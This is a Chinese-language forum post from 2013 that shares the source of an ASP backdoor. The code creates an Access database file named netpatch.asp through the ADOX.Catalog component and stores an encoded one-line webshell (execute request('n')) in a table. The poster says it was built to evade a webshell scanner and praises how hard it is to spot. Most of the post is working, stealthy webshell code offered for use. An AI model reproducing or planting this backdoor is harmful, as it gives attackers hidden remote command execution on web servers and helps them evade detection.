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新型ASP后门源代码分析

IT171中文网 管理员组 2013-7-17 503

[backcolor=rgb(238, 238, 238)]本是为了逃LAKER2兄 查ASP木马程序的 [/backcolor]
[backcolor=rgb(238, 238, 238)]现在已经挑战成功,已经加为检查对象了。公布出代码给冰点的朋友使使,希望大家喜欢! [/backcolor]

[backcolor=rgb(238, 238, 238)]利用的是ADOX.Catalog组件 [/backcolor]

[backcolor=rgb(238, 238, 238)]<%  [/backcolor]
[backcolor=rgb(238, 238, 238)]’code by netpatch [/backcolor]
[backcolor=rgb(238, 238, 238)]dim dbfile,sql  [/backcolor]
[backcolor=rgb(238, 238, 238)]db="netpatch.asp" [/backcolor]
[backcolor=rgb(238, 238, 238)]dbfile=server.MapPath(db)  [/backcolor]

[backcolor=rgb(238, 238, 238)]set ydb=server.CreateObject("ADOX.Catalog")  [/backcolor]
[backcolor=rgb(238, 238, 238)]ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile  [/backcolor]
[backcolor=rgb(238, 238, 238)]set ydb=nothing  [/backcolor]
[backcolor=rgb(238, 238, 238)]if err.number=0 then  [/backcolor]
[backcolor=rgb(238, 238, 238)]Response.Write dbfile & " 创建成功<br> "  [/backcolor]
[backcolor=rgb(238, 238, 238)]else  [/backcolor]
[backcolor=rgb(238, 238, 238)]Response.Write "创建失败,原因: " & err.description  [/backcolor]
[backcolor=rgb(238, 238, 238)]Response.End  [/backcolor]
[backcolor=rgb(238, 238, 238)]end if  [/backcolor]

[backcolor=rgb(238, 238, 238)]Set Conn = Server.CreateObject("ADODB.Connection")  [/backcolor]
[backcolor=rgb(238, 238, 238)]Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile  [/backcolor]

[backcolor=rgb(238, 238, 238)]sql="CREATE TABLE fdata([data] Memo)"  [/backcolor]
[backcolor=rgb(238, 238, 238)]conn.execute(sql)  [/backcolor]

[backcolor=rgb(238, 238, 238)]Set rs = CreateObject("ADODB.RecordSet")  [/backcolor]
[backcolor=rgb(238, 238, 238)]rs.Open "FData", conn, 1, 3  [/backcolor]
[backcolor=rgb(238, 238, 238)]rs.addnew  [/backcolor]
[backcolor=rgb(238, 238, 238)]rs("data")="┼攠數畣整爠煥敵瑳∨≮┩>" ’(注释记得去掉!一句话后门 execute request(“n”)) [/backcolor]
[backcolor=rgb(238, 238, 238)]rs.update  [/backcolor]

[backcolor=rgb(238, 238, 238)]%> [/backcolor]
[backcolor=rgb(238, 238, 238)]此脚本主要是利用ADOX.Catalog组件 [/backcolor]
[backcolor=rgb(238, 238, 238)]新建一个名称为netpatch.asp的空数据库文件 [/backcolor]
[backcolor=rgb(238, 238, 238)]然后把一句话木马插入新建的表中作为C/S版本的ASP马用! [/backcolor]

[backcolor=rgb(238, 238, 238)]优点,比较隐蔽,不容易让人看出这是什么作用的! [/backcolor]

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我也是有底线哒~